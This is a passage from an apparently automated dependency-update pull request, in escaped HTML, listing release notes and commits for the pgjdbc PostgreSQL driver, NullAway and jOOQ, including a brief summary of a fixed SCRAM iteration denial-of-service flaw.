href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.10...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.uber.nullaway:nullaway` from 0.13.3 to 0.13.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/uber/NullAway/releases\"\u003ecom.uber.nullaway:nullaway's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eNullAway 0.13.4\u003c/h2\u003e\n\u003cp\u003eFixes a couple of crashes when running NullAway on JDK 27 ea builds.  Also modularizes the annotations jar.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eModularize the annotations JAR by \u003ca href=\"https://github.com/anthonyvdotbe\"\u003e\u003ccode\u003e@​anthonyvdotbe\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1537\"\u003e#1537\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTest on JDK 27 EA (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1540\"\u003e#1540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix crash on JDK 27 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1541\"\u003e#1541\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMaintenance\n\u003cul\u003e\n\u003cli\u003eRun regression tests on JDK 26 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1526\"\u003e#1526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRefactor ThriftTests and Java8Tests to use addSourceLines instead of deprecated addSourceFile by \u003ca href=\"https://github.com/nanookclaw\"\u003e\u003ccode\u003e@​nanookclaw\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1517\"\u003e#1517\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate to WALA 1.7.1 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1539\"\u003e#1539\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/uber/NullAway/blob/master/CHANGELOG.md\"\u003ecom.uber.nullaway:nullaway's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 0.13.4\u003c/h2\u003e\n\u003cp\u003eFixes a couple of crashes when running NullAway on JDK 27 ea builds.  Also modularizes the annotations jar.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eModularize the annotations JAR by \u003ca href=\"https://github.com/anthonyvdotbe\"\u003e\u003ccode\u003e@​anthonyvdotbe\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1537\"\u003e#1537\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTest on JDK 27 EA (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1540\"\u003e#1540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix crash on JDK 27 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1541\"\u003e#1541\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMaintenance\n\u003cul\u003e\n\u003cli\u003eRun regression tests on JDK 26 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1526\"\u003e#1526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRefactor ThriftTests and Java8Tests to use addSourceLines instead of deprecated addSourceFile by \u003ca href=\"https://github.com/nanookclaw\"\u003e\u003ccode\u003e@​nanookclaw\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1517\"\u003e#1517\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate to WALA 1.7.1 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1539\"\u003e#1539\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/1048411efaf6530216e90ffb863f0649a770b36e\"\u003e\u003ccode\u003e1048411\u003c/code\u003e\u003c/a\u003e Prepare for release 0.13.4.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/744100f8cc3768912d21632f5aebb11b0e19e47a\"\u003e\u003ccode\u003e744100f\u003c/code\u003e\u003c/a\u003e Changelog for release 0.13.4 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1542\"\u003e#1542\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/c0a70387d7630f258c6cfdc66ccc508a629ef28d\"\u003e\u003ccode\u003ec0a7038\u003c/code\u003e\u003c/a\u003e Fix crash on JDK 27 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1541\"\u003e#1541\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/e3e78aa1fe08870f16252a3e8f168699f77829b5\"\u003e\u003ccode\u003ee3e78aa\u003c/code\u003e\u003c/a\u003e Test on JDK 27 EA (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1540\"\u003e#1540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/15a35d1eb1590bb35c8f7771aa758bfcbf302fdc\"\u003e\u003ccode\u003e15a35d1\u003c/code\u003e\u003c/a\u003e Update to WALA 1.7.1 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1539\"\u003e#1539\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/331a920041df98756c60994a2b67f27053e74e0a\"\u003e\u003ccode\u003e331a920\u003c/code\u003e\u003c/a\u003e Refactor ThriftTests and Java8Tests to use addSourceLines instead of deprecat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/480c8d3f67607d3aa1d5326948d3ef0219ac7f76\"\u003e\u003ccode\u003e480c8d3\u003c/code\u003e\u003c/a\u003e Modularize the annotations JAR (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1537\"\u003e#1537\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/26a23ce5786da76eeaeb2c7d4bd3c45ff20a728c\"\u003e\u003ccode\u003e26a23ce\u003c/code\u003e\u003c/a\u003e Run regression tests on JDK 26 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1526\"\u003e#1526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/334016d2bab88b25f6c7e51163d4ac510a5f877a\"\u003e\u003ccode\u003e334016d\u003c/code\u003e\u003c/a\u003e Prepare next development version.\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/uber/NullAway/compare/v0.13.3...v0.13.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jooq:jooq` from 3.19.31 to 3.19.34\n\nUpdates `org.jooq:jooq-codegen` from 3.19.31 to 3.19.34\n\nUpdates `org.jooq.jooq-codegen-gradle` from 3.19.31 to 3.19.34\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jOOQ/jOOQ/releases\"\u003eorg.jooq.jooq-codegen-gradle's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.19.34\u003c/h2\u003e\n\u003ch1\u003eVersion 3.19.34 - May 12, 2026\u003c/h1\u003e\n\u003cp\u003eThis is a 3.19 patch release with minor improvements and bug fixes\u003c/p\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19946\"\u003e#19946\u003c/a\u003e - KotlinGenerator produces var instead of val when generating \u0026lt;immutablePojos/\u0026gt; for embeddables\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19951\"\u003e#19951\u003c/a\u003e - Column mismatch between MERGE .. WHEN NOT MATCHED THEN INSERT and VALUES clauses when there are stored client side computed columns\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19957\"\u003e#19957\u003c/a\u003e - Upgrade pgjdbc to 42.7.11 to mitigate CVE-2026-42198\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19960\"\u003e#19960\u003c/a\u003e - Client side stored computed column expressions are ignored in MERGE .. WHEN MATCHED THEN UPDATE clause\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19965\"\u003e#19965\u003c/a\u003e - Missing parentheses around RATIO_TO_REPORT window function emulation\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19969\"\u003e#19969\u003c/a\u003e - Missing parentheses around some interval arithmetic expressions in Exasol, Teradata\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19977\"\u003e#19977\u003c/a\u003e - ClassCastException when using EmbeddableRecords in Field.eq(any(array))\u003c/p\u003e\n\u003ch2\u003e3.19.33\u003c/h2\u003e\n\u003ch1\u003eVersion 3.19.33 - May 5, 2026\u003c/h1\u003e\n\u003cp\u003eThis is a 3.19 patch release with minor improvements and bug fixes\u003c/p\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19874\"\u003e#19874\u003c/a\u003e - Render MATERIALIZED keyword for YugabyteDB when using asMaterialized()\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19878\"\u003e#19878\u003c/a\u003e - Regression when using Loader batch insertion with StatementType.STATIC_STATEMENT\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19882\"\u003e#19882\u003c/a\u003e - Statements executed from ExecuteContext::connection will eagerly release the connection to the ConnectionProvider\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19888\"\u003e#19888\u003c/a\u003e - DataAccessException::sqlStateClass returns OTHER instead of C22_DATA_EXCEPTION for Oracle data problems related to CHAR vs BYTE string columns\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19893\"\u003e#19893\u003c/a\u003e - NullPointerException in XMLDatabase when routine has no parameters\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19903\"\u003e#19903\u003c/a\u003e - Missing support for parsing BigQuery BIGNUMERIC and BIGDECIMAL data types\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19907\"\u003e#19907\u003c/a\u003e - MetaSQL tries to load check constraints, but check constraints were not yet introduced to MySQL 5.7\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19912\"\u003e#19912\u003c/a\u003e - No Teradata support for ALTER TABLE .. ADD IF NOT EXISTS and similar statements\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19916\"\u003e#19916\u003c/a\u003e - Cannot CAST from numeric to CLOB directly, in Teradata\n\u003ca 